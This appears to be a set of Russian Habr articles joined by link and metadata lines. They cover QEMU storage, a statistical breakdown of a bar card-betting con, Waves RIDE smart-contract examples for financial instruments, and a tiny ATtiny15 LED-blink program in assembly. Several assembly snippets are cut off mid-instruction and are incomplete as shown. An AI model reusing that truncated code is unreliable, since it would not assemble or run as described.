Преимущество блочных устройств, расположенных за пределами системы виртуализации, заключается в том, что они затем невосприимчивы к отказам виртуальной машины.
В этом случае также обеспечивается высокая доступность и достаточный объем для удаленного хранения.
**Использование NFS**
[](https://support.dce.felk.cvut.cz/mediawiki/images/b/b8/qemu_block_nfs.svg)
**Sheepdog**
[](https://support.dce.felk.cvut.cz/mediawiki/images/7/7a/qemu_block_sheepdog.svg)
**GlusterFS**
[](https://support.dce.felk.cvut.cz/mediawiki/images/7/71/qemu_block_glusterfs.svg)
Виртуальные машины без блочных устройств
========================================
Без блочных устройств могут работать операционные системы, которые умеют загружаться по NFS или с проброшенной с помощью Plan9 хостовой файловой системы. | https://habr.com/ru/post/412825/ | null | ru | null |
# Разбор «лохотрона» на игральных картах
##### Вместо вступления
В стандартной колоде для покера 54 карты. Без двух джокеров, которые не участвуют в игре, выходит 52 карты. Если вы хорошенько перемешаете колоду, то, возможно, создадите уникальную комбинацию из карт, которую никогда никто не создавал до вас. Потому что различных вариантов расположений 52 карт равно: 
*Что-то мне подсказывает, что комбинация на изображении не так уникальна.*
##### Теперь к теме
Недавно я узнал про метод «барного развода» на игральных картах, благодаря которому «умные дяди» выигрывают приличные суммы. Суть такова:
«Разводчик» приходит в бар и некоторое время болтает с окружающими, чаще всего присоединяется к большим компаниям молодых людей. Он пытается влиться в компанию и стать «своим» среди окружающих. После того, как он заслужил некоторое доверие и к нему привыкли, разводчик выбирает самого вспыльчивого и разводит его на спор:
> Я слышал, что у [блондинов/низких людей/тех, кто носит кепки/любой подходящий вариант] интуиция просто отстой! Вот спорим, что ты не сможешь угадать (в этот момент разводчик достает колоду карт) цвет каждой следующей карты? Можешь перетасовать колоду, как захочешь! За каждую угаданную карту плачу по тысяче рублей! А если не угадаешь, то ты даешь мне два рубля, потом докидываешь до четырех, до восьми рублей и дальше, ну ты понял? И чтобы было честно — остановить игру может лишь тот, кто проигрывает в общем счете, у кого выигрыш меньше. Идет?
Большинство читателей уже поняли схему и с улыбкой прикидывают сумму, которую может выиграть разводчик.
Мне стало интересно, до каких пор игрок выигрывает и как нужно действовать, чтобы увеличить шансы на выигрыш (лучший способ — отказаться от игры!). Естественно, правило про остановку игры я не учитываю, с ним выиграть невозможно.
##### Что к чему?
Для начала поясним ситуацию на цифрах и поймем, почему выиграть в этой игре почти невозможно. Как вы, конечно, поняли: суммы растут в разных прогрессиях. У игрока арифметическая прогрессия с шагом в тысячу (рублей). У «разводчика» же геометрическая прогрессия с знаменателем «2». Естественно, геометрическая прогрессия растет намного быстрее арифметической.
Через 10 неугаданных карт *(здесь и далее неугаданная карта это неугаданный цвет карты)*, выигрыш разводчика будет равен 1024 рублям.
К 16 неугаданным картам, выигрыш будет равен 65536 (2^16). Это значит, что даже если игрок угадает 36 оставшиеся карты (36 000 рублей), он проиграет. Следовательно, чтобы выиграть, нужно угадать 37 карт (37 000 рублей). Тогда разводчик выиграет лишь 32 768 рублей (15 карт, 2^15) и игрок будет в плюсе. Картой меньше — и мы проиграли.
Казалось бы: угадать 37 карт на практике невозможно, так как шанс угадать 1 к 2^37
Простенький цикл на php
```
$cards = array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1);
$len = count($cards);
shuffle($cards); //необязательно, но для большего соответствия
$times = 100000;
$ok = 0;
for($j = 0; $j < $times; $j++){
for($i = 0; $i < $len; $i++){
$t = mt_rand(0, 1);
if($t == $cards[$i]){
$ok += 1;
}
}
}
echo $ok / $times;
```
показывает, что мы и ожидаем: в среднем угадывается 26 карт (у меня при запуске вывело 25,989), а игроку нужно угадать целых 37 карт.
Но мы подбрасываем не монетку! Мы знаем, что всего в колоде 26 красных карт и 26 черных карт, следовательно, мы можем увеличить свои шансы, выбирая цвет карт, которых выпало меньше. Таким образом, если мы знаем, что в колоде осталось хотя бы на одну красную карту больше, мы выбираем красную, и наоборот.
Сделаем простенький алгоритм, который выбирает цвет карты, которых больше в колоде.
```
$cards = array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1);
// 0 - красные
// 1 - черные
$len = count($cards);
shuffle($cards); //необязательно, но для большего соответствия
$times = 300000;
$ok = 0;
$red = 0; //показатель красных карт
for($j = 0; $j < $times; $j++){
for($i = 0; $i < $len; $i++){
$t = ($red > 0) ? 1 : 0; //если красных многовато, выбираем черную, иначе - красную
($cards[$i] == 0) ? $red++ : $red--; //если карта красная, то увеличиваем показатель, иначе - уменьшаем
if($t == $cards[$i]){
$ok += 1;
}
}
}
echo $ok / $times;
```
*Если в коде есть ошибка в логике, пишите в личные сообщения, я оперативно исправлю. А также, если у вас есть алгоритм получше — пишите его в комментариях, я обязательно добавлю его.*
Результат очень неоднозначен, в целом, количество угаданных карт увеличилось, у меня выводит 29-30 угаданных карт.
```
#coding: utf-8
@cards_booster = Array.new(52) {|idx| idx = (idx <= 25) ? 0 : 1} #создали массив колоды с мастями
10.times do
@okay_winner = 0 #обнуляем при каждом полном переборе
100000.times do #одна попытка перебрать сто тысяч раз
@cards_booster.shuffle! #каждый раз колоду тасуем
@reds = 0 #количество красных карт, допустим это единицы
@cards_booster.each do |card|
our_card = @reds > 0 ? 0 : 1 #делаем осознанный выбор карты
@okay_winner += 1 if card == our_card
@reds += (card == 1) ? 1 : -1 #красные увеличиваются если встретили красную
end
end
puts "Мы угадали масть #{@okay_winner / 100000} раз."
end
```
При проверке другим кодом, на Ruby вышел твердый результат: 30 (спасибо [railsfun](http://habrahabr.ru/users/railsfun/)), чего тоже недостаточно для победы игрока. Что же делать в таком случае?
##### «Обходные» пути
Неужели нельзя выиграть у хитрого разводчика? Так как чаще всего разводчики не такие уж и умные, и дальше этой схемы они не отходят, они не знают результата при другом количестве карт. Разберем ситуации с изменением количества карт.
Естественно, игрок может высказать сомнение по поводу колоды (а вдруг там карты меняются как-нибудь?!) и предложить сыграть с новой колодой из магазина (36 карт), которую тщательно перетасуют. Разводчик, зная, что колода не суть важна, соглашается. В колоде из 36 карт же совсем другой расклад.
Чтобы разводчику выиграть, ему нужно, чтобы игрок не смог угадать 15 карт, вместо 37 из предыдущего варианта с колодой из 52 карт. Следовательно, если игрок сможет угадать 22 карты (22 000 рублей), он превысит выигрыш разводчика с его 2^14 = 16384 рублями.
Если мы запустим цикл с измененным массивом, в 36 карт, мы увидим, что среднее количество угаданных карт равно 20. Даже при изменении колоды, выиграть очень трудно, потому что игроку необходимо угадать слишком много карт. Впрочем, при единичном случае, может повезти, и игрок угадает 22+, но по статистике игрок проигрывает, в общем, всегда.
##### Вывод
В такой игре, выполняя все условия, выиграть в теории — маловероятно, на практике же нереально. Единственный способ — менять условия или жульничать, например, подглядеть несколько карт при тасовке.
##### P.S
* Шанс на выигрыш возможен лишь при отмене правила «проигрывающий останавливает игру». Тогда можно забрать выигрыш и при первом везении.
* Лучший способ не проиграть — отказаться от игры или использовать свою, меченную (крапленую) колоду (жаль не все носят крапленую колоду на этот случай)
* Предложите сыграть в такую игру друзьям. Как много из них согласятся, не заметив подвоха? Деньги у друзей можете не забирать, впрочем, по вашему желанию ;)
Спасибо [vaxXxa](http://habrahabr.ru/users/vaxxxa/), поменял начальные условия. Сначала разводчик получает 2 рубля, а не 1 рубль.
Спасибо [lolmaus](http://habrahabr.ru/users/lolmaus/) за график выигрышей, очень наглядный:
И еще у меня возник вопрос: на сколько увеличится шанс выигрыша, если во время тасовки подсмотреть одну нижнюю карту? | https://habr.com/ru/post/179319/ | null | ru | null |
# Применение смарт-аккаунтов и смарт-ассетов Waves в финансовых инструментах
*В предыдущей [статье](https://habr.com/ru/company/waves/blog/442238/) мы рассмотрели несколько кейсов применения смарт-аккаунтов в бизнесе – включая аукционы и программы лояльности.
Сегодня мы поговорим о том, как смарт-аккаунты и смарт-ассеты могут повысить прозрачность и надежность таких финансовых инструментов, как опционы, фьючерсы и векселя.*
**Опцион**
Опцион – биржевой контракт, дающий покупателю право купить актив по определенной цене или до определенной даты, но не обязывающий его это сделать.
Реализация опциона может быть следующей:
Используем смарт-ассет для самих опционов как инструмента и смарт-аккаунт для участника, который выполняет роль биржи и выпускает опционы. Участник-биржа обещает, что продаст некоторое количество определенного ассета по цене sellPrice между высотами блоков expirationStart и expirationEnd).
В коде смарт-ассета мы просто проверим, что он торгуется только между указанными высотами, и больше ничего проверять не будем, оставим всю ответственность за соблюдение правил на код участника-биржи.
***Код смарт-ассета:***
```
let expirationStart = 100000
let expirationEnd = 101440
match tx {
case some : ExchangeTransaction | TransferTransaction =>
height > expirationStart && height <= expirationEnd
case _ => false
}
```
*Будем считать, что действия происходят следующим образом: участник-биржа продает опционы на покупку какого-то ассета, и остальные участники могут пересылать эти опционы или торговать ими. Чтобы воспользоваться своим правом на покупку, потенциальный покупатель должен перевести желаемое количество опционов на счет продавца, то есть участника-биржи. Далее он записывает информацию о совершенном трансфере в стейт аккаунта участника-биржи и только затем ExchangeTransaction по заданным условиям покупки-продажи сможет пройти.
В коде смарт-аккаунта мы должны убедиться, что любая проходящая через него ExchangeTransaction для финального акта покупки-продажи соответствует заданным условиям, и участник покупает ровно то число юнитов, которое он отправил на счет участника-биржи. Потенциальный покупатель должен отправить корректную DataTransaction о произошедшем трансфере, чтобы участник-биржа мог избежать двойной траты. В этой DataTransaction покупатель кладет по ключу, равному его адресу, значение, равное числу опционов переведенных на счет участника-биржи, то есть числу юнитов ассета, которое он может купить.*
***Код смарт-аккаунта:***
```
#владелец аккаунта дает обязательство продать определенное количество юнитов ассета
#по цене sellPrice между высотами блоков expirationStart и expirationEnd
let expirationStart = 100000
let expirationEnd = 101440
let sellPrice = 10000
let amountAsset = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
let priceAsset = base58'9jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
#ID ассета-опциона
let optionsAsset = base58'7jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
#извлекаем из транзакции адрес отправителя
let this = extract(tx.sender)
match tx {
case dataTx : DataTransaction =>
#извлекаем количество юнитов из дата-транзакции по ключу (ID пользователя)
let units = extract(getInteger(dataTx.data, dataTx.data[0].key))
#извлекаем трансфер-транзакцию опционов из пруфа
let e = transactionById(dataTx.proofs[2]) #
match e {
case transferTx : TransferTransaction =>
#убеждаемся, что трансфер был на текущий адрес
(transferTx.recipient == this) &&
#убеждаемся, что отправитель транзакции написал в качестве ключа свой ID
dataTx.data[0].key == toBase58String(transferTx.sender.bytes) &&
sigVerify(dataTx.bodyBytes, dataTx.proofs[0], transferTx.senderPublicKey) &&
#убеждаемся, что указанное количество юнитов соответствует посланному количеству опционов
(units == transferTx.amount) &&
#убеждаемся, что был переведен именно ассет-опцион
(transferTx.assetId == optionsAsset)
case _ => false
} &&
size(dataTx.data) == 1 && !isDefined(getInteger(this, dataTx.data[0].key))
&& height > expirationStart && height <= expirationEnd
case order : Order =>
#убеждаемся, что итоговый обмен происходит по указанным заранее правилам
let correctAssetPair = order.assetPair.amountAsset == amountAsset &&
order.assetPair.priceAsset == priceAsset
let correctPrice = order.price == sellPrice
#извлекаем дата-транзакцию из пруфа
let d = transactionById(order.proofs[2])
match d{
case dataTx : DataTransaction =>
let buyOrderSender = dataTx.data[0].key
toBase58String(order.sender.bytes) == buyOrderSender &&
order.amount == extract(getInteger(dataTx.data, buyOrderSender))
case _ => false
} &&
order.sender == this &&
correctAssetPair && correctPrice &&
height > expirationStart && height <= expirationEnd
case _ => false
}
```
**Фьючерсы на смарт-аккаунтах**
В отличие от опциона, фьючерс (фьючерсный контракт) – это не право, а обязательство покупателя совершить покупку актива по зафиксированной контрактом цене в определенный момент в будущем.
В целом, реализация фьючерса похожа на реализацию опциона. Здесь смарт-ассет выступает в качестве фьючерса.
Также необходимо убедиться, что и покупатель, и продавец подписывают ордер на покупку. Фьючерс является обязательством, которое должно быть исполнено в любом случае. Значит, если продавец или участник отказываются от своих обязательств, любой участник сети может отправить транзакцию, исполнив таким образом фьючерс.
Скрипт смарт-ассета контролирует все TransferTransaction и ExchangeTransaction ассета-фьючерса, одобряя их только в том случае, если участник-покупатель создал ордер на будущую покупку ассета-фьючерса у участника-биржи.
Этот ордер должен быть действительным и удовлетворять условиям, на которых выпущен фьючерс. Чтобы проверить ордер, можно внести все его поля в стейт аккаунта-покупателя вместе с байтовым представлением подписанного ордера, а затем провести валидацию извне.
На данный момент RIDE не содержит нативной функции парсинга байтов транзакции, но включает все необходимые для ее реализации инструменты. Поэтому разработчики могут попробовать реализовать эту функцию самостоятельно.
**Аккаунт с мульти-подписью / Эскроу**
Аккаунт с мульти-подписью позволяет нескольким пользователям совместно управлять активами (например, операции с активами могут быть возможны лишь при наличии подписей трех пользователей из четырех). Для создания аккаунтов с мульти-подписью в языке RIDE мы можем использовать пруфы транзакций.
Аккаунт с мульти-подписью может быть также использован для эскроу-счета, на котором денежные средства хранятся до выполнения сторонами, заключившими договор, взятых на себя обязательств.
```
let alicePubKey = base58'5AzfA9UfpWVYiwFwvdr77k6LWupSTGLb14b24oVdEpMM'
let bobPubKey = base58'2KwU4vzdgPmKyf7q354H9kSyX9NZjNiq4qbnH2wi2VDF'
let cooperPubKey = base58'GbrUeGaBfmyFJjSQb9Z8uTCej5GzjXfRDVGJGrmgt5cD'
#выясняем, кто предоставил корректные подписи
let aliceSigned = if(sigVerify(tx.bodyBytes, tx.proofs[0], alicePubKey)) then 1 else 0
let bobSigned = if(sigVerify(tx.bodyBytes, tx.proofs[1], bobPubKey)) then 1 else 0
let cooperSigned = if(sigVerify(tx.bodyBytes, tx.proofs[2], cooperPubKey)) then 1 else 0
#суммируем все корректные подписи и проверяем их количество
aliceSigned + bobSigned + cooperSigned >= 2
```
**Управляемый токенами реестр — token curated registry (TCR)**
На многих блокчейн-платформах существует проблема токсичных ассетов. Например, создать ассет на Waves может любой адрес, заплативший комиссию.
Проблему защиты пользователей и самого блокчейна от токсичных ассетов помогает решить управляемый токенами реестр — token curated registry (TCR), — генерируемый держателями токенов.
Чтобы проголосовать за добавление конкретного токена в список, держатель делает ставку, равную его доле токенов от общего числа выпущенных. Токен включается в реестр, если за это проголосовали большинство его держателей.
В нашем примере мы позволяем пользователю добавить токен в список на рассмотрение (в период «challenge») по ключу стейта key = asset\_name, только если текущее значение count = 0.
Также у пользователя в кошельке должен быть ненулевой баланс этого токена. Затем наступает период голосования, во время которого пользователь может отдать голос за каждый ассет в своем кошельке, но только по одному разу, поставив оценку от 1 до 10. Голоса пользователей представлены ключами вида user\_address+assetID.
```
let asset = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
let addingStartHeight = 1000
let votingStartHeight = 2000
let votingEndHeight = 3000
let this = extract(tx.sender)
#извлекаем адрес из пруфа транзакции
let address = addressFromPublicKey(tx.proofs[1])
match tx {
case t: DataTransaction =>
if(height > addingStartHeight)
then(
if(height < votingStartHeight)
then(
#adding
#выясняем, есть ли этот ассет у этого адреса
let hasTokens = assetBalance(address, asset) > 0
size(t.data) == 1
#убеждаемся, что этот ассет еще не был добавлен
&& !isDefined(getInteger(this, toBase58String(asset)))
#убеждаемся, что по ключу-ассету добавляется значение равное 0
&& extract(getInteger(t.data, toBase58String(asset))) == 0
&& hasTokens
)
else(
if(height < votingEndHeight)
then
(
#voting
#узнаем текущее количество голосов за данный ассет и задаваемое количество
let currentAmount = extract(getInteger(this, toBase58String(asset)))
let newAmount = extract(getInteger(t.data, toBase58String(asset)))
let betString = toBase58String(address.bytes) + toBase58String(asset)
#убеждаемся, что этот адрес еще не голосовал за этот ассет
let noBetBefore = !isDefined(getInteger(this, betString))
let isBetCorrect = extract(getInteger(t.data, betString)) > 0
&& extract(getInteger(t.data, betString)) <= 10
#убеждаемся, что у голосующего есть необходимые токены
let hasTokens = assetBalance(address, asset) > 0
#проверяем корректность значений транзакции
size(t.data) == 2 && isDefined(getInteger(this, toBase58String(asset)))
&& newAmount == currentAmount + 1
&& noBetBefore && isBetCorrect && hasTokens
)
else false
) && sigVerify(tx.bodyBytes, tx.proofs[0], tx.proofs[1])
)
else false
case _ => false
}
```
**Абонентская плата**
В этом примере мы рассмотрим использование смарт-аккаунтов для осуществления регулярных платежей за товар или услугу через заданные промежутки времени – «абонентской платы».
Если пользователь предоставляет смарт-аккаунту (через пруфы транзакции) ID TransferTransaction с требуемым количеством переведенных средств, он может записать в стейт аккаунта {key: address, value: **true**}.
Это будет означать, что пользователь подтверждает подписку на товар или услугу. Когда срок подписки истечет, любой пользователь сети может установить напротив соответствующего ключа в стейте значение **false**.
```
let subscriptionPeriod = 44000
let signature = tx.proofs[0]
let pk = tx.proofs[1]
let requiredAmount = 100000
let this = extract(tx.sender)
match tx {
case d: DataTransaction =>
#извлекаем дату последнего платежа
let lastPaymentHeight = extract(getInteger(this, d.data[0].key + "_lastPayment"))
size(d.data) == 1 && d.data[0].value == "false" && lastPaymentHeight + subscriptionPeriod < height
||
(
let address = d.data[0].key
#извлекаем трансфер-транзакцию по ID, указанному в пруфах
let ttx = transactionById(d.proofs[0])
size(d.data) == 2
&& d.data[0].value == "true"
&& d.data[1].key == address + "_lastPayment"
&& match ttx {
case purchase : TransferTransaction =>
d.data[1].value == transactionHeightById(purchase.id)
&& toBase58String(purchase.sender.bytes) == address
&& purchase.amount == requiredAmount
&& purchase.recipient == this
#убеждаемся, что ассет waves
&& !isDefined(purchase.assetId)
case _ => false
}
)
case _ => false
}
```
**Голосование**
Смарт-аккаунты могут быть использованы для реализации голосования на блокчейне. Примером может служить голосование за лучший отчет амбассадора в рамках амбассадорской программы. Стейт аккаунта используется в качестве платформы для записи голосов за тот или иной вариант.
В этом примере голосовать разрешено только тем, кто приобрел специальные “голосовательные” токены. Участник заранее отправляет DataTransaction с парой (key, value) = (purchaseTransactionId, buyTransactionId). Установка другого значения по этому ключу запрещена. Используя свой адрес и вариант голосования, можно установить DataEntry только раз. Голосование возможно только в установленный период.
```
let asset = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
let address = addressFromPublicKey(tx.proofs[1])
let votingStartHeight = 2000
let votingEndHeight = 3000
let this = extract(tx.sender)
match tx {
case t: DataTransaction =>
(height > votingStartHeight && height < votingEndHeight) &&
#убеждаемся, что у транзакции правильная подпись
sigVerify(tx.bodyBytes, tx.proofs[0], tx.proofs[1]) &&
#проверяем, что пользователь отдает свой голос напротив своего адреса
if (t.data[0].key == toBase58String(address.bytes))
then (
#извлекаем транзакцию перевод голосовательного токена из пруфов
let purchaseTx = transactionById(t.proofs[7])
match purchaseTx {
case purchase : TransferTransaction =>
let correctSender = purchase.sender == t.sender
let correctAsset = purchase.assetId == asset
let correctPrice = purchase.amount == 1
let correctProof = extract(getBinary(this, toBase58String(purchase.id))) == t.id
correctSender && correctAsset && correctPrice && correctProof
case _ => false
}
)
else
size(t.data) == 1 && !isDefined(getBinary(this, t.data[0].key))
case _ => false
}
```
**Вексель**
Вексель — письменное обязательство, по которому одна сторона должна выплатить другой фиксированную сумму в момент требования или в заранее установленную дату.
В нашем примере используется смарт-аккаунт, дата экспирации которого соответствует дате выплаты по векселю.
```
let expiration = 100000
let amount = 10
let asset = base58'9jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
let Bob = Address(base58'3NBVqYXrapgJP9atQccdBPAgJPwHDKkh6A8')
let Alice = Address(base58'3PNX6XwMeEXaaP1rf5MCk8weYeF7z2vJZBg')
match tx {
case t: TransferTransaction =>
(t.assetId == asset)&&
(t.amount == amount)&&
(t.sender == Bob)&&
(t.recipient == Alice)&&
(sigVerify(t.bodyBytes, t.proofs[0], t.senderPublicKey))&&
(height >= expiration)
case _ => false
}
```
**Депозит**
Депозит — размещение денежных средств в банке на определенных условиях (срок, процент).
В нашем примере функцию банка выполняет смарт-аккаунт. После определенного количества блоков, что соответствует сроку депозита, пользователь может вернуть свои деньги с процентом. В скрипте задана высота блока (finalHeight), после достижения которой пользователь может снять деньги со счета.
heightUnit — количество блоков в одной единице времени (например, месяц, год и т. д.). Сначала мы проверяем наличие записи с парой (key, value) = (initialTransferTransaction, futureDataTransaction). Затем пользователь должен отправить TransferTransaction с правильной информацией о сумме депозита и процентов, начисленных за период депозита. Эта информация сверяется с исходной TransferTransaction, которая содержится в текущем пруфе TransferTransaction. depositDivisor — число, обратное доле депозита (если депозит принимается под 10%, доля депозита составляет 0,1, а depositDevisor = 1/0,1 = 10).
```
let depositDivisor = 10
let heightUnit = 1000
let finalHeight = 100000
let this = extract(tx.sender)
match tx {
case e : TransferTransaction =>
#извлекаем высоту транзакции по ID транзакции в седьмом пруфе
let depositHeight = extract(transactionHeightById(e.proofs[7]))
#извлекаем транзакцию депозита
let purchaseTx = transactionById(e.proofs[7])
match purchaseTx {
case deposit : TransferTransaction =>
let correctSender = deposit.sender == e.sender
#убеждаемся, что пользователь переводит себе корректную сумму депозита + проценты
let correctAmount = deposit.amount + deposit.amount / depositDivisor * (height - depositHeight) / heightUnit == e.amount
let correctProof = extract(getBinary(this, toBase58String(deposit.id))) == e.id
correctSender && correctProof && correctAmount
case _ => false
}
&& finalHeight <= height
case _ => sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPublicKey)
}
```
В третьей и заключительной статье этой серии мы рассмотрим еще варианты применения смарт-ассетов, включая заморозку и ограничение транзакций для конкретных адресов. | https://habr.com/ru/post/443836/ | null | ru | null |
# Маленький Hello World для маленького микроконтроллера — в 24 байта (и чужое решение в 12 байт)
Классической тестовой программой для большинства программистов на системах, имеющих хоть какой-то дисплей, является Hello World. Такая традиция была введена Керниганом и Ритчи в [1978 году.](https://ru.wikipedia.org/wiki/%D0%AF%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%A1%D0%B8_%28%D0%BA%D0%BD%D0%B8%D0%B3%D0%B0%29)
Для микроконтроллеров аналогичным примером уже давно стала программа, которая мигает светодиодом. В этой статье я покажу результат эксперимента по максимальному сокращению такой программы на примере контроллера ATTiny15 фирмы Атмел.
UPD: В комментариях привели [ссылку на рекордное решение в 12 байт](http://embedderslife.wordpress.com/2014/10/14/12-byte-blinking/). Браво!
UPD2: Путем насилия над контролером, удалось выиграть еще 2 байта.
UPD3: И [еще одно решение](http://habrahabr.ru/post/240517/), с еще большим насилием над контроллером.
UPD4: [Еще один вариант](http://habrahabr.ru/post/240689/) — в одну инструкцию (но исполняется при этом вся память программ), как и в вариантах 2 и 3.
UPD5: [Вариант с использованием возможности выдать тактовый генератор на один из пинов контроллера, при помощи FUSE-бита](https://habrahabr.ru/post/313786/)
#### О контроллере
Возможности контроллера невелики. Тактовая частота — 1.6МГц от внутреннего генератора. Свободных выводов, которые можно использовать без отказа от возможности аппаратного сброса и перепрошивки по SPI — всего пять. Имеется два таймера и АЦП. Память — 64 байта EEPROM. ОЗУ нет, только 32 регистра общего назначения и стек, глубина которого не может быть больше трех. AVR-GCC отказывается работать с таким контроллером — предлагает использовать ассемблер.
#### Инструментарий
Операционная система — Open Suse Linux 13.1. Среда разработки — AVR Studio 4.12, [выполняется под Wine.](http://easyelectronics.ru/avr-studio-v-linux.html) Программатор — USBASP под управлением AVRDUDE. Программатор непосредственно соединен с контроллером, давая ему питание и во время прошивки, и во время экспериментов.
### Проблема — программатор держит RESET
Сигнал сброса у контроллера инвертирован — высокий уровень означает нормальную работу, низкий — сброс. Сигнал RESET у практически всех AVR подключается через первую ножку контроллера. Кроме возможности сбросить контроллер, этот сигнал играет определяющую роль в процессе внутрисхемного программирования, поэтому заводится на программатор. Путем перенастройки FUSE битов, имеется возможность превратить этот вывод контроллера в вывод общего назначения — контроллер более не будет сбрасываться по сигналу с него, но и не будет программироваться без так называемого высоковольтного программатора.
USBASP все время держит на этом выводе низкий уровень, не давая контроллеру работать, пока подключен программатор. Для удобства отладки нужно либо программно (разобравшись в API USBASP), или аппаратно иметь возможность поднимать контроллеру RESET. Я выбрал аппаратный вариант в виде переключателя, как самый легко достижимый.
### Мигаем светодиодом
Даже такая простая вещь, как выдача прямоугольных импульсов на определенную ножку контроллера при работе с ассемблером превращается в увлекательный поиск оптимального решения. Несомненным плюсом будет то, что программист не зависит от прихотей операционной системы и компилятора, поэтому может управлять оборудованием так, как считает нужным.
Банальная реализация задержки состоит в организации цикла из пустых инструкций, в котором будет вертеться контроллер между переключениями пина. Это классический delay\_ms, столь любимый ардуинщиками. Минусов тут два как минимум: короткий минус — контроллер не получится усыпить, длинный — контроллер не сможет выполнять другие задачи. Действительно, любое прерывание приведет к тому, что тщательно высчитанное для задержки количество тактов ее уже не обеспечит: время, проведенное контроллером в обработчике добавится ко времени задержки. Можно, конечно, в обработчике предусмотреть коррекцию, а потом коррекцию коррекции (если в обработчике есть ветвление с ветвями разной длины) — в итоге получится весьма непростой код, о доказательстве корректности которого говорить достаточно тяжело.
Именно поэтому любые задержки стоит реализовывать на таймерах. У контроллера ATTiny15 таких таймеров два. Оба таймера могут считать до 255, после чего выдавать запрос на прерывание. Источником тактов для таймеров может служить внешний сигнал или делитель внутреннего тактового генератора. Делитель позволяет получать дробные частоты от тактовой — F/1, F/8, F/64, F/256, F/1024. По умолчанию контроллер работает на частоте 1.6МГц, если использовать делитель на 1024, получим частоту приращения таймера 1562,5Гц. Так как прерывание таймер будет выдавать на каждый 256-ой инкремент, мы получим дополнительное деление на 256 и итоговую частоту около 6Гц. Вполне приемлемо для мигания светодиодом.
#### Первая версия прошивки — по всем правилам хорошего тона
В начале прошивки у всех AVR должны находиться инструкции перехода к обработчикам прерываний. Это очень похоже на состояние дел у x86, но у них в начале памяти хранятся не инструкции, а адреса обработчиков.
У ATTiny15 таких инструкций должно быть девять. Первый обработчик, например — обработчик сброса, фактически — точка входа в прошивку.
```
rjmp reset
reti
reti
reti
reti
rjmp timer0
reti
reti
reti
```
На месте отсутствующих обработчиков стоят инструкции возврата из прерывания. Но они никогда вызваны не будут — соответствующие прерывания запрещены. То есть эти четыре штуки `reti` после `rjmp reset` нужны только для того, чтобы `rjmp timer0` оказалась на своем месте.
Работа программы состоит в настройке предделителя для таймера,
```
ldi r31,(1<
```
разрешении прерывания от таймера,
```
ldi r31,1<
```
разрешении обработки прерываний процессором,
```
sei
```
переключении вывода 7 контроллера в режим push-pull,
```
ldi r31,0b100
out ddrb,r31
```
и зависания в бесконечном цикле
```
lp:
rjmp lp
```
Обработка прерывания состоит в инверсии регистра и выводе этого значения на ножку контроллера
```
timer0:
com r31
out portb,r31
reti
```
После сборки получили 40 байт машинного кода:
### Сокращаем программу
Идея лежит на поверхности — так как из прерываний работают только сброс и таймер, контроллер никогда не окажется на других ячейках таблицы прерываний — займем эти ячейки кодом:
```
.include "tn15def.inc"
//вместо переходов на обработку прерываний сразу помещаем 4 инструкции
ldi r31,(1<
```
Получили 26 байт, можем еще?
##### Можем!
Разместим обработчик прерывания от таймера сразу на своем месте, избавившись от перехода и сэкономив целых два байта:
```
ldi r31,(1<
```
После сборки получилось 24 байта:
#### Сбережем немножко энергии ценой всего шести байт
Так как контроллер у нас кроме обработки прерывания ничем не занимается, стоит усыпить ядро процессора, оставив при этом таймер работающим. Это делает инструкция `SLEEP`, которая управляется флагами SE, SM1, SM0 регистра MCUCR. Режимов сна у контроллера несколько, начиная от самого глубокого Power Down, при котором контроллер может разбудить только сторожевой таймер, сброс или изменение состояния вывода, и заканчивая ожиданием, при котором ядро остановлено, но таймеры, АЦП и некоторая другая переферия — работают. Это тот режим, который нам подходит, он задается, если стоит только флаг SE.
Важно помнить, что после пробуждения и обработки прерывания контроллер попытается исполнить следующую после SLEEP инструкцию, значит усыпление необходимо зациклить:
```
.include "tn15def.inc"
//подготовка таймера 0 - выбор источника тактирования
//источник - тактовый генератор 1.6 МГц с делителем на 1024
//дает инкремент таймера каждый 1024 такт
//выполняется путем записи в регистр TCCR0 комбинации флагов CS00 и CS02
//даташит, страница 27, таблица 9
ldi r31,(1<
```
Программирование на ассемблере является наиболее трудоемким способом получения программ, оптимизированных по размеру и скорости выполнения. Наиболее интересная задача здесь — разработка такого компилятора и ЯВУ, который бы выдавал оптимизированный код (по какому-то критерию) и доказательство того, что на данном устройстве получить лучший код — невозможно.
В следующей статье — конвертер USART <-> 1wire на основе этого же контроллера.
#### Интересно почитать
[Проект на гитхабе](https://github.com/BG4444/ledSplash);
[Эдсгер Дейкстра. Избранные статьи](http://www.inr.ac.ru/~info21/pdf/dijkstra.pdf);
[Даташит на контроллер](http://www.atmel.com/Images/doc1187.pdf);
[Электроника для всех](http://www.easyelectronics.ru).
UPD: В комментариях привели [ссылку на рекордное решение в 12 байт](http://embedderslife.wordpress.com/2014/10/14/12-byte-blinking/).
Коротко — идея состоит в использовании сторожевого таймера и того факта, что РОН при сбросе от него не обнуляются.
```
LDI R16,(1<
```
Здесь можно конечно же прицепиться к тому, что частота не та и импульсы идут на три других вывода, но по размеру это несомненный рекорд. Поздравляю!
В соединении с усыплением контроллера сторожевой таймер — мощное средство для реализации энергосбережения. Причем вместе с ним можно использовать самый глубокий сон — Power Down. Ценой дополнительных четырех байт сэкономим пару микроватт:
```
LDI R16,(1<
```
